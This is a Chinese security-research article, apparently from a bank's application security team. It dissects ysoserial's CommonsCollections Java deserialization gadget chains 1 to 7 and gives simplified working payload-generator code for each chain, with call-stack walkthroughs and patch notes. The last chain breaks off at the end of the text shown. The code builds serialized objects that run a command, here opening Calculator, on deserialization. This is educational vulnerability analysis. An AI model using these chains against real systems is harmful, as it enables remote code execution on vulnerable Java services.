玩转Ysoserial-CommonsCollection的七种利用方式分析 – 作者:平安银行应用安全团队

引言

CommonsCollection在java反序列化的源流中已经存在了4年多了,关于其中的分析也是层出不穷,本文旨在整合分析一下ysoserial中CommonsCollection反序列化漏洞的多种利用手段,从中探讨一下漏洞的思路,并且对于ysoserial的代码做一下普及,提升大家对于ysoserial的代码阅读能力。

ysoserial的关键编码技术介绍

首先我们先去了解一下ysoserial的源码中的一些常用技术做一个简单的科普。

动态代理

动态代理比较常见的用处就是:在不修改类的源码的情况下,通过代理的方式为类的方法提供更多的功能。

举个例子来说(这个例子在开发中很常见):我的开发们实现了业务部分的所有代码,忽然我期望在这些业务代码中多添加日志记录功能的时候,一个一个类去添加代码就会非常麻烦,这个时候我们就能通过动态代理的方式对期待添加日志的类进行代理。

看一个简单的demo:

Work接口需要实现work函数

public interface Work {
    public String work();
}

Teacher类实现了Work接口

public class Teacher implements Work{
    @Override
    public String work() {
        System.out.println("my work is teach students");
        return "Teacher";
    }
}

WorkHandler用来处理被代理对象,它必须继承InvocationHandler接口,并实现invoke方法

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class WorkHandler implements InvocationHandler{
    //代理类中的真实对象
    private Object obj;
    //构造函数,给我们的真实对象赋值
    public WorkHandler(Object obj) {
        this.obj = obj;
    }
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        //在真实的对象执行之前我们可以添加自己的操作
        System.out.println("before invoke。。。");
        //java的反射功能,用来调用obj对象的method方法,传入参数为args
        Object invoke = method.invoke(obj, args);
        //在真实的对象执行之后我们可以添加自己的操作
        System.out.println("after invoke。。。");
        return invoke;
    }
}

在Test类中通过Proxy.newProxyInstance进行动态代理,这样当我们调用代理对象proxy对象的work方法的时候,实际上调用的是WorkHandler的invoke方法

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Test {
    public static void main(String[] args) {
        //要代理的真实对象
        Work people = new Teacher();
        //代理对象的调用处理程序,我们将要代理的真实对象传入代理对象的调用处理的构造函数中,最终代理对象的调用处理程序会调用真实对象的方法
        InvocationHandler handler = new WorkHandler(people);
        /**
         * 通过Proxy类的newProxyInstance方法创建代理对象,我们来看下方法中的参数
         * 第一个参数:people.getClass().getClassLoader(),使用handler对象的classloader对象来加载我们的代理对象
         * 第二个参数:people.getClass().getInterfaces(),这里为代理类提供的接口是真实对象实现的接口,这样代理对象就能像真实对象一样调用接口中的所有方法
         * 第三个参数:handler,我们将代理对象关联到上面的InvocationHandler对象上
         */
        Work proxy = (Work)Proxy.newProxyInstance(handler.getClass().getClassLoader(), people.getClass().getInterfaces(), handler);
        System.out.println(proxy.work());
    }
}

看一下输出结果,我们再没有改变Teacher类的前提下通过代理Work接口,实现了work函数调用的重写。

before invoke。。。
my work is teach students
after invoke。。。
Teacher

javassist动态编程

ysoserial中基本上所有的恶意object都是通过动态编程的方式生成的,通过这种方式我们可以直接对已经存在的java文件字节码进行操作,也可以在内存中动态生成Java代码,动态编译执行,关于这样做的好处,作者在工具中也有提到:

could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections

关于javassist动态编程,我就只把关键的函数及其功能罗列一下了

//获取默认类池,只有在这个ClassPool里面已经加载的类,才能使用
ClassPool pool = ClassPool.getDefault();
//获取pool中的某个类
CtClass cc = pool.get("test.Teacher");
//为cc类设置父类
cc.setSuperclass(pool.get("test.People"));
//将动态生成类的class文件存储到path路径下
cc.writeFile(path);
//获取类的字节码
byte[] b=cc.toBytecode();
//创造Point类
CtClass cc = pool.makeClass("Point");
//为cc类添加成员变量
cc.addField(f);
//为cc类添加方法
cc.addMethod(m);
//为cc类设置类名
cc.setName("Pair");

CommonsCollections反序列化漏洞的利用

关于CommonsCollections利用的最基础的原理,已经在很久以前都被各位大佬,分析的烂熟了,所以这里我就只点到为止了,如果有不熟悉的可以去看一下@BadCode写的分析,非常的详细。

这边先看一下基础模块,

public void CommonsCollectionsTest() {
        String[] execArgs = new String[]{"open /Applications/Calculator.app/"};
        // inert chain for setup
        Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{new ConstantTransformer(1)});
        // real chain for after setup
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class}, execArgs),
                new ConstantTransformer(1)};
        setFieldValue(transformerChain, "iTransformers", transformers);
        //transform函数要求传入一个Object对象,但是不论传入什么都不会影响我们的命令执行,所以我这边就随便传入一个字符串
        transformerChain.transform("aaa");
    }

CommonsCollections造成RCE的根本原因就在于我们构造了一个特殊的ChainedTransformer类的对象,这样当我们调用这个对象的transform函数的时候,就会造成命令执行,于是,我们需要做的事情就是去寻找某个类,把包含恶意代码的transformerChain放到这个类里面,当对这个类的对象进行反序列化的时候会调用transformerChain的transform函数。

上代码前先把pom.xml的依赖给出来

<dependencies>
        <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
        <!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 -->
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
        <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>com.nqzero</groupId>
            <artifactId>permit-reflect</artifactId>
            <version>0.3</version>
        </dependency>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.12</version>
            <scope>test</scope>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.javassist/javassist -->
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.25.0-GA</version>
        </dependency>
    </dependencies>

注1:本次试验我这边主要使用了jdk1.7u21、jdk1.8_101、jdk1.8_171几个版本的jdk,所以关于漏洞适用的jdk可能存在总结不对的可能性,还望斧正

注2:关于试验适用的CommonsCollections版本,其实下面的每个payload基本都可以同时在3.1-3.2.1和4.0版本适用,但是不同版本生成一些对象的方式会稍有不同,所以实验中标记的CommonsCollections适用版本是指ysoserial生成变量的时候用的是哪个版本的代码规范。

CommonsCollections1

适用版本:3.1-3.2.1,jdk1.8以前

这边先上CommonsCollections1的代码,为了便于阅读,这些代码都是我从ysoserial里面抽离并简化了的,关键的部分已经给上了注释,

import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import com.nqzero.permit.Permit;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import static sun.reflect.misc.FieldUtil.getField;
public class CommonsCollectionPayload {
    static String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
    //getInvocationHandler用于获取名为handler的InvocationHandler实例,并将map传入成员变量memberValues
    public static InvocationHandler getInvocationHandler(String handler, Map<String, Object> map) throws Exception {
        //获取构造函数
        final Constructor<?> ctor = Class.forName(handler).getDeclaredConstructors()[0];
        //获取handler的私有成员的访问权限,否则会报 can not access a member of class sun.reflect.annotation.AnnotationInvocationHandler
        Permit.setAccessible(ctor);
        //实例化
        return (InvocationHandler) ctor.newInstance(Override.class, map);
    }
    //createMyproxy用于返回handler为ih,代理接口为iface的动态代理对象
    public static <T> T createMyproxy(InvocationHandler ih, Class<T> iface) {
        final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, 1);
        allIfaces[0] = iface;
        return iface.cast(Proxy.newProxyInstance(CommonsCollectionPayload.class.getClassLoader(), allIfaces, ih));
    }
    //setFieldValue用于设置obj对象的成员变量fieldName的值为value
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Field field = null;
        try {
            //获取私有成员变量
            field = obj.getClass().getDeclaredField(fieldName);
            //获取私有成员变量访问权限
            Permit.setAccessible(field);
        }
        catch (NoSuchFieldException ex) {
            if (obj.getClass().getSuperclass() != null)
                field = getField(obj.getClass().getSuperclass(), fieldName);
        }
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        String[] execArgs = new String[]{"open /Applications/Calculator.app/"};
        // inert chain for setup
        Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{new ConstantTransformer(1)});
        // real chain for after setup
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class}, execArgs),
                new ConstantTransformer(1)};
        //下面这部分为RCE的关键部分代码
        Map innerMap = new HashMap();
        //生成一个lazyMap对象,并将transformerChain赋值给对象的factory成员变量
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        //创建一个Map接口的代理,并且为这个代理设置一个memberValues为lazyMap的AnnotationInvocationHandler
        Map mapProxy = (Map) createMyproxy(getInvocationHandler(ANN_INV_HANDLER_CLASS, lazyMap), Map.class);
        //创建一个memberValues为mapProxy的AnnotationInvocationHandler对象,这个对象也就是我们反序列化利用的恶意对象
        InvocationHandler handler = getInvocationHandler(ANN_INV_HANDLER_CLASS, mapProxy);
        //通过反射的方式进行赋值,即使赋值在生成对象之后也没有关系
        setFieldValue(transformerChain, "iTransformers", transformers);
        //将恶意对象存储为字节码
        FileOutputStream fos = new FileOutputStream("payload.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(handler);
        oos.flush();
        oos.close();
        //读取恶意对象字节码并进行反序列化操作
        FileInputStream fis = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object evilObject = ois.readObject();
        ois.close();
    }
}

看一下关键部分的调用栈,

img1.png

当对恶意对象AnnotationInvocationHandler进行反序列化的时候,调用readObject方法,并对成员变量memberValues调用entrySet方法,

img2.png

由于memberValues是一个代理对象,所以回去调用该对象对应handler的invoke方法,一定要注意,这个时候的handler就是memberValues为lazyMap的handler了

img3.png

由于entrySet匹配不到if语句中的判断,走到else,,从而调用this.memberValues.get(var4),于是到达了lazyMap.get()了

img4.png

我们代码注释里已经说过了,lazyMap的factory变量就是我们的恶意对象transformerChain,并且调用了他的transform方法,成功造成命令执行。

我们去看一下3.2.2版本的时候这个漏洞是如何修复的

    private void writeObject(ObjectOutputStream os) throws IOException {
        FunctorUtils.checkUnsafeSerialization(class$org$apache$commons$collections$functors$InvokerTransformer == null ? (class$org$apache$commons$collections$functors$InvokerTransformer = class$("org.apache.commons.collections.functors.InvokerTransformer")) : class$org$apache$commons$collections$functors$InvokerTransformer);
        os.defaultWriteObject();
    }
    private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
        FunctorUtils.checkUnsafeSerialization(class$org$apache$commons$collections$functors$InvokerTransformer == null ? (class$org$apache$commons$collections$functors$InvokerTransformer = class$("org.apache.commons.collections.functors.InvokerTransformer")) : class$org$apache$commons$collections$functors$InvokerTransformer);
        is.defaultReadObject();
    }

就是在调用readObject和writeObject的时候把InvokerTransformer类给拉黑了。(当然这个还是需要看一下系统的配置org.apache.commons.collections.enableUnsafeSerialization的值的,不过这个值默认是false)

CommonsCollections2

适用版本:commons-collections-4.0, jdk7u21及以前其实这个CommonsCollections2只能叫另一种利用方式,而不能叫做CommonsCollections1的绕过,因为CommonsCollections1也是可以在commons-collections-4.0利用成功的,但是因为commons-collections-4.0删除了lazyMap的decode方法,所以需要将代码中的

Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

修改为

Map lazyMap = LazyMap.lazyMap(innerMap,transformerChain);

而且,更重要的一点,CommonsCollections2不能在3.1-3.2.1版本利用成功,根本原因在于CommonsCollections2的payload中使用的TransformingComparator在3.1-3.2.1版本中还没有实现Serializable接口,无法被反序列化。

现在我们来看一下CommonsCollections2的payload

import com.nqzero.permit.Permit;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import static sun.reflect.misc.FieldUtil.getField;
public class CommonCollection2Payload {
//    通过javassist动态创建类的时候需要用到这个类
    public static class StubTransletPayload extends AbstractTranslet implements Serializable {
        private static final long serialVersionUID = -5971610431559700674L;
        public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
        @Override
        public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
    }
// 设置成员变量值
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Field field = null;
        try {
            //获取私有成员变量
            field = obj.getClass().getDeclaredField(fieldName);
            //获取私有成员变量访问权限
            Permit.setAccessible(field);
        }
        catch (NoSuchFieldException ex) {
            if (obj.getClass().getSuperclass() != null)
                field = getField(obj.getClass().getSuperclass(), fieldName);
        }
        field.set(obj, value);
    }
//  获取成员变量值得
    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        Field field = null;
        try {
            field = obj.getClass().getDeclaredField(fieldName);
            Permit.setAccessible(field);
        }
        catch (NoSuchFieldException ex) {
            if (obj.getClass().getSuperclass() != null)
                field = getField(obj.getClass().getSuperclass(), fieldName);
        }
        return field.get(obj);
    }
//  7u21反序列化漏洞恶意类生成函数
    public static Object createTemplatesImpl(String command) throws Exception{
        Object templates = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance();
        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
                command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
                "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        final byte[] classBytes = clazz.toBytecode();
        setFieldValue(templates, "_bytecodes", new byte[][] {
                classBytes});
        // required to make TemplatesImpl happy
        setFieldValue(templates, "_name", "Pwnr");
        setFieldValue(templates, "_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
        return templates;
    }
    public static void main(String[] args) throws Exception {
        String command = "open /Applications/Calculator.app/";
        final Object templates = createTemplatesImpl(command);
        // payload中再次使用了InvokerTransformer,可见这个在3.2.2版本中被拉黑的类在4.0中反倒又可以用了
        //这个toString值只是个幌子,后面会通过setFieldValue把iMethodName的值改成newTransformer
        final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        // payload中的核心代码模块,创建一个PriorityQueue对象,并将它的comparator设为包含恶意transformer对象的TransformingComparator
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
        // 先设置为正常变量值,在后面通过setFieldValue来修改
        queue.add(1);
        queue.add(1);
        // 不再像第一个payload中一样直接去调用调出runtime的exec,而是通过调用TemplatesImpl类的newTransformer方法来实现RCE
        setFieldValue(transformer, "iMethodName", "newTransformer");
        final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = 1;
        FileOutputStream fos = new FileOutputStream("payload.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(queue);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }
}

这个payload和1在造成RCE的原理上有个不同是不再去依靠Runtime类的exec,而是使用了我们知名的7u21模块,关于7u21模块RCE的讲解,我们也不细谈,网上大把大把的分析,只需要明白一件事情,我们只要能调用包含恶意字节码的TemplatesImpl对象的利用链中的任意函数(getOutputProperties、newTransformer等等),就能造成RCE。

先去看调用链,

img5.jpg

反序列化时候调用PriorityQueue的readObject方法,并在函数最后调用heapify方法,

img6.jpg

heapify方法会把PriorityQueue的queue变量作为参数去调用siftDown方法

img7.jpg

只要有comparetor就会去调用siftDownUsingComparator方法

img8.jpg

调用comparator的compare方法,这个comparator就是我们传入的tranformer为恶意InvokerTransformer对象的TransformingComparator

img9.jpg

成功调用到恶意tranformer的tranform方法,并把恶意TemplatesImpl作为参数传入,剩下的不在去跟。

img10.jpg

关于4.0的补丁,和3.2.2的时候一模一样,就是把InvokerTransformer给拉黑了。

CommonsCollections3

适用版本:3.1-3.2.1,jdk7u21及以前

CommonsCollections3出现了一个我们在CommonsCollections1中没怎么见到过的InstantiateTransformer,先去看一下这个InstantiateTransformer的transform方法,

    public Object transform(Object input) {
        try {
            if (!(input instanceof Class)) {
                throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
            } else {
                Constructor con = ((Class)input).getConstructor(this.iParamTypes);
                return con.newInstance(this.iArgs);
            }
        }

简单来说这个transform方法的用处就是调用input参数的构造函数,并且这个类的两个成员变量就是传给构造函数的参数类型和参数值。其他的地方就和CommonsCollections1差不多了。

看一下代码,考虑到代码中用到的一些关键函数在前面两个payload里面已经给出了,所以接下来的代码里面我就只给出main函数代码了。

    public static void main(String[] args) throws Exception {
        String command = "open /Applications/Calculator.app/";
        Object templatesImpl = createTemplatesImpl(command);
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { templatesImpl } )};
        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        Map mapProxy = (Map) createMyproxy(getInvocationHandler(ANN_INV_HANDLER_CLASS, lazyMap), Map.class);
        InvocationHandler handler = getInvocationHandler(ANN_INV_HANDLER_CLASS, mapProxy);
        //这样的话,调用transformerChain的tranform方法就相当于调用TrAXFilter(templatesImpl)
        setFieldValue(transformerChain, "iTransformers", transformers);
        FileOutputStream fos = new FileOutputStream("payload.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(handler);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }

看一下调用栈,

img11.jpg

基本所有地方都和CommonsCollections1差不多,唯一的区别就在于循环调用的transformers变成了这个样子

 final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { templatesImpl } )};

ConstantTransformer返回了TrAXFilter的对象给到InstantiateTransformer的tranform方法,最终调用TrAXFilter的构造函数,并把恶意的templatesImpl作为参数给到构造函数,

img12.jpg

看一下TrAXFilter的构造函数会去调用传入的恶意templatesImpl的newTransformer方法,正好符合我们的期望,造成RCE。

看一下3.2.2版本的修复补丁,和CommonsCollections1一样,就是把InstantiateTransformer类给拉黑了。

CommonsCollections4

适用版本:4.0,jdk7u21及以前

CommonsCollections4这个payload认真的说,完全没有任何新的东西,其实就是把CommonsCollections2和CommonsCollections3做了一个杂交。不过从中我们可以窥探到,其实不论是4.0版本还是3.1-3.2.1版本,利用的方法基本都是可以共通的。

看一下代码,

    public static void main(String[] args) throws Exception {
        String command = "open /Applications/Calculator.app/";
        Object templates = createTemplatesImpl(command);
        ConstantTransformer constant = new ConstantTransformer(String.class);
        Class[] paramTypes = new Class[] { String.class };
        Object[] str = new Object[] { "foo" };
        InstantiateTransformer instantiate = new InstantiateTransformer(
                paramTypes, str);
        paramTypes = (Class[]) getFieldValue(instantiate, "iParamTypes");
        str = (Object[]) getFieldValue(instantiate, "iArgs");
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
        queue.add(1);
        queue.add(1);
        setFieldValue(constant, "iConstant", TrAXFilter.class);
        paramTypes[0] = Templates.class;
        str[0] = templates;
        FileOutputStream fos = new FileOutputStream("payload.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(queue);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }

看一下调用栈,

img13.jpg

代码在上面都是分析过的,简要的文字分析一下:反序列化的时候调用PriorityQueue的readObject方法,从而调用了TransformingComparator中恶意的ChainedTransformer对象的tranform方法,通过循环调用ChainedTransformer中iTransformer对象的tranform方法,进而调用TrAXFilter的构造方法,从而造成命令执行。

不过关于4.1版本的修复和3.2.2是存在不一样的地方的,3.2.2对于InstantiateTransformer类的处理是拉入黑名单,而4.1版本选择把InstantiateTransformer类的反序列化接口给删除了。

img14.jpg

CommonsCollections5

适用版本:3.1-3.2.1,jdk1.8(1.9没试)

CommonsCollections5和前面几个payload有些不太一样的地方,因为jdk在1.8之后对AnnotationInvocationHandler类做了限制,所以在jdk1.8版本就必须找出能替代AnnotationInvocationHandler的新的可以利用的类,所以BadAttributeValueExpException就被发掘了除了,我们直接根据代码来了解这个类,

public static void main(String[] args) throws Exception {
        String command = "open /Applications/Calculator.app/";
        final String[] execArgs = new String[] { command };
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };
        final Map innerMap = new HashMap();
        //创建factory为恶意ChainedTransformer对象的lazyMap类实例
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        //创建map为恶意lazyMap,key为foo的TiedMapEntry类实例
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        //将BadAttributeValueExpException对象的成员变量val赋值为恶意entry
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        Permit.setAccessible(valfield);
        valfield.set(val, entry);
        setFieldValue(transformerChain, "iTransformers", transformers);
        FileOutputStream fos = new FileOutputStream("payload.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(val);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }

这个利用链很简单,

img15.jpg

在BadAttributeValueExpException的readObject中,会调用它的成员变量val(也就是我们传入的恶意TiedMapEntry对象)的toString方法,

img16.jpg

在TiedMapEntry中会调用自身的getKey和getValue方法,

img17.jpg

在getValue方法中会调用成员变量map(也就是我们传入的恶意LazyMap对象)的get方法,

img18.jpg

接下来就和CommonsCollections1是一样的了,不再分析。

CommonsCollections在3.2.2版本的时候同样将BadAttributeValueExpException拉入了黑名单。

CommonsCollections6

适用版本:3.1-3.2.1,jdk1.7,1.8均可成功

CommonsCollections6是一个实用性比较广的payload,和上面五个payload相比,它的利用受jdk版本的影响是最小的,先看代码,

 public static void main(String[] args) throws Exception {
        String command = "open /Applications/Calculator.app/";
        final String[] execArgs = new String[] { command };
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };
        Transformer transformerChain = new ChainedTransformer(transformers);
        final Map innerMap = new HashMap();
//创建一个factory为恶意ChainedTransformer对象的lazyMap类实例
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
//创建一个map为恶意lazyMap类实例,key为foo的TiedMapEntry类实例
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
//取出HashSet对象的成员变量map
        Permit.setAccessible(f);
        HashMap innimpl = (HashMap) f.get(map);
        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }
//取出HashMap对象的成员变量table
        Permit.setAccessible(f2);
        Object[] array = (Object[]) f2.get(innimpl);
//取出table里面的第一个Entry
        Object node = array[0];
        if(node == null){
            node = array[1];
        }
        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
//取出Entry对象重的key,并将它赋值为恶意的TiedMapEntry对象
        Permit.setAccessible(keyField);
        keyField.set(node, entry);
        FileOutputStream fos = new FileOutputStream("payload.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(map);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }

CommonsCollections6的代码是最可以体现出使用反射机制生成恶意对象的优势的代码,我们看一下上面payload中使用反射机制的代码

 HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
//取出HashSet对象的成员变量map
        Permit.setAccessible(f);
        HashMap innimpl = (HashMap) f.get(map);
        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }
//取出HashMap对象的成员变量table
        Permit.setAccessible(f2);
        Object[] array = (Object[]) f2.get(innimpl);
//取出table里面的第一个Entry
        Object node = array[0];
        if(node == null){
            node = array[1];
        }
        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
//取出Entry对象重的key,并将它赋值为恶意的TiedMapEntry对象
        Permit.setAccessible(keyField);
        keyField.set(node, entry);

上面给出的这么一长串代码,其实如果不使用反射机制去生成恶意对象,只需要两行代码

        HashSet map = new HashSet(1);
        map.add(entry);

两个代码生成的map对象是一摸一样的对象,但是使用第二种方式,你会发现在反序列化的时候无法造成RCE(第二种同样会造成RCE但是是发生在map.add的时候而不是ois.readObject()的时候),原因就出在了lazyMap类的get函数处,

img19.jpg

触发RCE的关键就在于this.factory.transform(key),然而想走到这一步,需要一个条件:!this.map.containsKey(key),翻译一下就是加载的这个key之前未被get函数调用过,并且一旦调用过一次后,就会直接把这个key-value对放进this.map中,下次调用直接走else语句,而不会再去调用this.factory.transform(key)。

这样的话,当我们通过map.add(entry)的方式去生成恶意HashSet对象的时候,看一下add方法的调用栈

img20.jpg

add方法本身就会调用LazyMap的get方法,这样的话,我们需要造成RCE的map在还没进行反序列化的时候,就已经被put到this.map中去了,到了反序列化企图造成rce的时候,调用 LazyMap的get方法,不会再去走if语句而走到else里面去了,从而无法造成命令执行。

当然这种情况并不是无解的,我们可以将上述两行代码中做一下修改变成这种形式,

        HashSet map = new HashSet(1);
        map.add(entry);
        lazyMap.remove("foo");

就是记得把lazyMap中的this.map记得删除一下就完事了,也很简单~~~

现在我们去看一下使用反射机制生成恶意对象从而在反序列化后造成RCE的调用链,

img21.jpg

调用HashSet的readObject方法进行反序列化,将恶意的TiedMapEntry对象带入put函数,

img22.jpg

在put函数中会把恶意的TiedMapEntry对象放入hash函数中,

img23.jpg

在hash函数中调用了恶意的TiedMapEntry对象的hashCode函数

img24.jpg

在hashCode函数中会调用恶意的TiedMapEntry对象自身的getValue函数

img25.jpg

在getValue函数中调用this.map的get函数

img26.jpg

在get函数中调用恶意TiedMapEntry的恶意factory对象的tranform方法,从而造成rce,这里面可以看到这个时候this.map是空的,所以我们能成功进入到if语句中。

img27.jpg

因为这个payload也是用到了InvokerTransformer类的,所以修复方案和第一个payload是一样的。

CommonsCollections7

适用版本:3.1-3.2.1,jdk1.7,1.8均可成功

CommonsCollections7也是一个适用性比较好的payload,在多种版本jdk中都可以执行成功,它的坑点和CommonsCollections6都有着一定的相似性。可以窥探到当把lazyMap作为key传入到hashset或者hashtable的时候往往都会对lazyMap本身的map参数造成一定影响,而这种影响很容易导致rce的失败。

看一下代码,关键的两步我都在代码里面加上了注释,

    public static void main(String[] args) throws Exception {
        String command = "open /Applications/Calculator.app/";
        final String[] execArgs = new String[]{command};
        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
